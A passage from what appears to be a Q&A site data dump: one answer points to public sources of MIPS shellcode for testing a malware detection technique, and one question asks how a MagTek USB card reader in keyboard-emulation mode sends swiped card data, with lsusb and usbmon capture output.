  <row Id="3236" PostTypeId="2" ParentId="3227" CreationDate="2013-12-20T21:55:43.853" Score="1" Body="&lt;p&gt;You are asking for a database of MIPS code for evaluating a detection technique, but I'm not sure that there are databases of embedded malware for public evaluation the same way that there are databases of desktop malware. If there are, I would love to know about them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative (and I am sure you have done this), try searching for examples of MIPS shellcode and crafting exploits that work on your own framework. This is a lot of work, but there are definitely examples of MIPS shellcode and malicious embedded logic described in articles (like &lt;a href=&quot;http://www.shell-storm.org/shellcode&quot; rel=&quot;nofollow&quot;&gt;www.shell-storm.org/shellcode&lt;/a&gt;, &lt;a href=&quot;http://www.metasploit.com&quot; rel=&quot;nofollow&quot;&gt;metasploit&lt;/a&gt;, etc.) that you could use. They are just not in a unified database. Also, you may need to do some work to craft things that will exploit things in MiBench.&lt;/p&gt;&#xA;" OwnerUserId="118" LastActivityDate="2013-12-20T21:55:43.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3237" PostTypeId="1" AcceptedAnswerId="3238" CreationDate="2013-12-20T22:17:39.027" Score="3" ViewCount="1071" Body="&lt;p&gt;I have a Magtek magstripe card reader. Here's more information than you'd ever want about the device:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# lsusb -v&#xA;Bus 001 Device 003: ID 0801:0001 MagTek Mini Swipe Reader (Keyboard Emulation)&#xA;Device Descriptor:&#xA;  bLength                18&#xA;  bDescriptorType         1&#xA;  bcdUSB               1.10&#xA;  bDeviceClass            0 (Defined at Interface level)&#xA;  bDeviceSubClass         0 &#xA;  bDeviceProtocol         0 &#xA;  bMaxPacketSize0        64&#xA;  idVendor           0x0801 MagTek&#xA;  idProduct          0x0001 Mini Swipe Reader (Keyboard Emulation)&#xA;  bcdDevice            1.00&#xA;  iManufacturer           1 (error)&#xA;  iProduct                2 (error)&#xA;  iSerial                 3 (error)&#xA;  bNumConfigurations      1&#xA;  Configuration Descriptor:&#xA;    bLength                 9&#xA;    bDescriptorType         2&#xA;    wTotalLength           34&#xA;    bNumInterfaces          1&#xA;    bConfigurationValue     1&#xA;    iConfiguration          0 &#xA;    bmAttributes         0x80&#xA;      (Bus Powered)&#xA;    MaxPower              100mA&#xA;    Interface Descriptor:&#xA;      bLength                 9&#xA;      bDescriptorType         4&#xA;      bInterfaceNumber        0&#xA;      bAlternateSetting       0&#xA;      bNumEndpoints           1&#xA;      bInterfaceClass         3 Human Interface Device&#xA;      bInterfaceSubClass      1 Boot Interface Subclass&#xA;      bInterfaceProtocol      1 Keyboard&#xA;      iInterface              0 &#xA;        HID Device Descriptor:&#xA;          bLength                 9&#xA;          bDescriptorType        33&#xA;          bcdHID               1.01&#xA;          bCountryCode            0 Not supported&#xA;          bNumDescriptors         1&#xA;          bDescriptorType        34 Report&#xA;          wDescriptorLength      76&#xA;         Report Descriptors: &#xA;           ** UNAVAILABLE **&#xA;      Endpoint Descriptor:&#xA;        bLength                 7&#xA;        bDescriptorType         5&#xA;        bEndpointAddress     0x81  EP 1 IN&#xA;        bmAttributes            3&#xA;          Transfer Type            Interrupt&#xA;          Synch Type               None&#xA;          Usage Type               Data&#xA;        wMaxPacketSize     0x0008  1x 8 bytes&#xA;        bInterval               1&#xA;Device Status:     0x0000&#xA;  (Bus Powered)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a USB keyboard emulation device, so when you swipe a card, the data on tracks 1 and 2 are typed on the screen into whatever program you have open at the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to learn about USB reverse engineering, so I'm trying to understand how this device sends data to my computer. After swiping a card and seeing the data on the screen, I try to find that data in the USB requests that go back and forth between my computer and the device. To do this, I use &lt;a href=&quot;https://www.kernel.org/doc/Documentation/usb/usbmon.txt&quot; rel=&quot;nofollow&quot;&gt;usbmon&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat /sys/kernel/debug/usb/usbmon/1u&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've read up on the output of &lt;code&gt;usbmon&lt;/code&gt; and I've also tried looking at the data using &lt;a href=&quot;http://vusb-analyzer.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;vusb-analyzer&lt;/a&gt;, but I can't find any of the data I expect to see in the data stream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of the output on the screen and the output from &lt;code&gt;usbmon&lt;/code&gt; after swiping an old (inactive) ID card from Oakland University.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output on screen:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;%000127138,6361380000058657,SINGH,?;6361380000058657=123456789012?+000127138?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usbmon Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ffff88008954e900 3348888805 C Ii:1:003:1 0:1 8 = 02002200 00000000&#xA;ffff88008954e900 3348888878 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348889671 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348889709 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348890693 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3348890719 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348892689 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348892712 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348893689 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3348893714 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348894689 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348894714 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348895688 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3348895713 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348896662 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348896686 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348897689 C Ii:1:003:1 0:1 8 = 00001e00 00000000&#xA;ffff88008954e900 3348897714 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348898690 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348898715 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348899686 C Ii:1:003:1 0:1 8 = 00001f00 00000000&#xA;ffff88008954e900 3348899709 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348900687 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348900710 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348901692 C Ii:1:003:1 0:1 8 = 00002400 00000000&#xA;ffff88008954e900 3348901716 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348902689 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348902710 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348903689 C Ii:1:003:1 0:1 8 = 00001e00 00000000&#xA;ffff88008954e900 3348903711 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348904691 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348904713 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348905692 C Ii:1:003:1 0:1 8 = 00002000 00000000&#xA;ffff88008954e900 3348905719 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348906665 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348906697 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348907696 C Ii:1:003:1 0:1 8 = 00002500 00000000&#xA;ffff88008954e900 3348907726 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348908687 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348908716 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348909688 C Ii:1:003:1 0:1 8 = 00003600 00000000&#xA;ffff88008954e900 3348909717 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348910688 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348910717 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348911688 C Ii:1:003:1 0:1 8 = 00002300 00000000&#xA;ffff88008954e900 3348911717 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348912687 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348912705 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348913687 C Ii:1:003:1 0:1 8 = 00002000 00000000&#xA;ffff88008954e900 3348913706 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348914688 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348914706 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348915686 C Ii:1:003:1 0:1 8 = 00002300 00000000&#xA;ffff88008954e900 3348915705 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348916688 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348916715 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348917691 C Ii:1:003:1 0:1 8 = 00001e00 00000000&#xA;ffff88008954e900 3348917718 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348918691 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348918717 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348919690 C Ii:1:003:1 0:1 8 = 00002000 00000000&#xA;ffff88008954e900 3348919717 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348920694 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348920718 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348921693 C Ii:1:003:1 0:1 8 = 00002500 00000000&#xA;ffff88008954e900 3348921716 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348922663 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348922679 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348923692 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3348923721 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348924659 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348924678 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348925660 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3348925675 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348926659 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348926674 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348927662 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3348927680 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348928675 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348928701 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348929688 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3348929714 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348930687 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348930713 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348931688 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3348931715 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348932689 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348932720 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348933677 C Ii:1:003:1 0:1 8 = 00002200 00000000&#xA;ffff88008954e900 3348933690 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348934676 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348934687 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348935680 C Ii:1:003:1 0:1 8 = 00002500 00000000&#xA;ffff88008954e900 3348935692 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348936664 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348936675 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348937663 C Ii:1:003:1 0:1 8 = 00002300 00000000&#xA;ffff88008954e900 3348937674 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348938664 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348938676 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348939664 C Ii:1:003:1 0:1 8 = 00002200 00000000&#xA;ffff88008954e900 3348939674 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348940661 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348940671 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348941660 C Ii:1:003:1 0:1 8 = 00002400 00000000&#xA;ffff88008954e900 3348941670 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348942661 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348942670 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348943673 C Ii:1:003:1 0:1 8 = 00003600 00000000&#xA;ffff88008954e900 3348943685 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348944676 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348944700 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348945675 C Ii:1:003:1 0:1 8 = 02001600 00000000&#xA;ffff88008954e900 3348945687 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348946661 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348946672 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348947661 C Ii:1:003:1 0:1 8 = 02000c00 00000000&#xA;ffff88008954e900 3348947673 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348948661 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348948672 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348949664 C Ii:1:003:1 0:1 8 = 02001100 00000000&#xA;ffff88008954e900 3348949677 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348950665 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348950676 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348951666 C Ii:1:003:1 0:1 8 = 02000a00 00000000&#xA;ffff88008954e900 3348951677 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348952666 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348952677 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348953666 C Ii:1:003:1 0:1 8 = 02000b00 00000000&#xA;ffff88008954e900 3348953678 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348954665 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348954677 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348956665 C Ii:1:003:1 0:1 8 = 00003600 00000000&#xA;ffff88008954e900 3348956680 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348957680 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348957696 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348958677 C Ii:1:003:1 0:1 8 = 02003800 00000000&#xA;ffff88008954e900 3348958692 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348959663 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348959678 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348960663 C Ii:1:003:1 0:1 8 = 00003300 00000000&#xA;ffff88008954e900 3348960674 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348961669 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348961699 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348962670 C Ii:1:003:1 0:1 8 = 00002300 00000000&#xA;ffff88008954e900 3348962697 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348963663 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348963678 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348964664 C Ii:1:003:1 0:1 8 = 00002000 00000000&#xA;ffff88008954e900 3348964676 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348965667 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348965678 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348966667 C Ii:1:003:1 0:1 8 = 00002300 00000000&#xA;ffff88008954e900 3348966678 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348967671 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348967681 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348968674 C Ii:1:003:1 0:1 8 = 00001e00 00000000&#xA;ffff88008954e900 3348968703 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348969673 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348969701 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348970670 C Ii:1:003:1 0:1 8 = 00002000 00000000&#xA;ffff88008954e900 3348970697 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348971672 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348971698 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348972676 C Ii:1:003:1 0:1 8 = 00002500 00000000&#xA;ffff88008954e900 3348972705 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348973678 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348973688 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348974668 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3348974694 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348975669 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348975695 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348976667 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3348976695 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348977670 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348977700 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348978669 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3348978695 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348979670 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348979699 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348980669 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3348980694 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348981674 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348981702 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348982678 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3348982704 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348983687 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348983714 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348984682 C Ii:1:003:1 0:1 8 = 00002200 00000000&#xA;ffff88008954e900 3348984709 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348985675 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348985702 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348986679 C Ii:1:003:1 0:1 8 = 00002500 00000000&#xA;ffff88008954e900 3348986707 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348987682 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348987712 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348988685 C Ii:1:003:1 0:1 8 = 00002300 00000000&#xA;ffff88008954e900 3348988714 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348989679 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348989707 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348990678 C Ii:1:003:1 0:1 8 = 00002200 00000000&#xA;ffff88008954e900 3348990706 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348991686 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348991715 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348992686 C Ii:1:003:1 0:1 8 = 00002400 00000000&#xA;ffff88008954e900 3348992714 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348993681 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348993690 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348994667 C Ii:1:003:1 0:1 8 = 00002e00 00000000&#xA;ffff88008954e900 3348994692 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348995668 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348995684 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348996668 C Ii:1:003:1 0:1 8 = 00001e00 00000000&#xA;ffff88008954e900 3348996682 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348997670 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348997684 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348998713 C Ii:1:003:1 0:1 8 = 00001f00 00000000&#xA;ffff88008954e900 3348998750 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3348999678 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3348999709 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349000690 C Ii:1:003:1 0:1 8 = 00002000 00000000&#xA;ffff88008954e900 3349000721 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349001690 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349001721 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349002689 C Ii:1:003:1 0:1 8 = 00002100 00000000&#xA;ffff88008954e900 3349002720 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349003692 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349003724 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349004687 C Ii:1:003:1 0:1 8 = 00002200 00000000&#xA;ffff88008954e900 3349004717 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349005688 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349005718 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349006687 C Ii:1:003:1 0:1 8 = 00002300 00000000&#xA;ffff88008954e900 3349006717 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349007675 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349007701 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349008687 C Ii:1:003:1 0:1 8 = 00002400 00000000&#xA;ffff88008954e900 3349008715 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349009682 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349009712 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349010681 C Ii:1:003:1 0:1 8 = 00002500 00000000&#xA;ffff88008954e900 3349010711 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349011681 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349011710 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349012690 C Ii:1:003:1 0:1 8 = 00002600 00000000&#xA;ffff88008954e900 3349012719 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349013673 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349013682 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349014697 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3349014727 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349015678 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349015706 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349016692 C Ii:1:003:1 0:1 8 = 00001e00 00000000&#xA;ffff88008954e900 3349016721 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349017699 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349017727 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349018679 C Ii:1:003:1 0:1 8 = 00001f00 00000000&#xA;ffff88008954e900 3349018706 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349020676 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349020703 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349021688 C Ii:1:003:1 0:1 8 = 02003800 00000000&#xA;ffff88008954e900 3349021720 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349022673 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349022683 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349023676 C Ii:1:003:1 0:1 8 = 02002e00 00000000&#xA;ffff88008954e900 3349023706 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349024670 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349024680 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349025670 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3349025680 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349026671 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349026679 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349027670 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3349027678 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349028677 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349028705 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349029681 C Ii:1:003:1 0:1 8 = 00002700 00000000&#xA;ffff88008954e900 3349029707 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349030680 C Ii:1:003:1 0:1 8 = 00000000 00000000&#xA;ffff88008954e900 3349030706 S Ii:1:003:1 -115:1 8 &amp;lt;&#xA;ffff88008954e900 3349031693 C 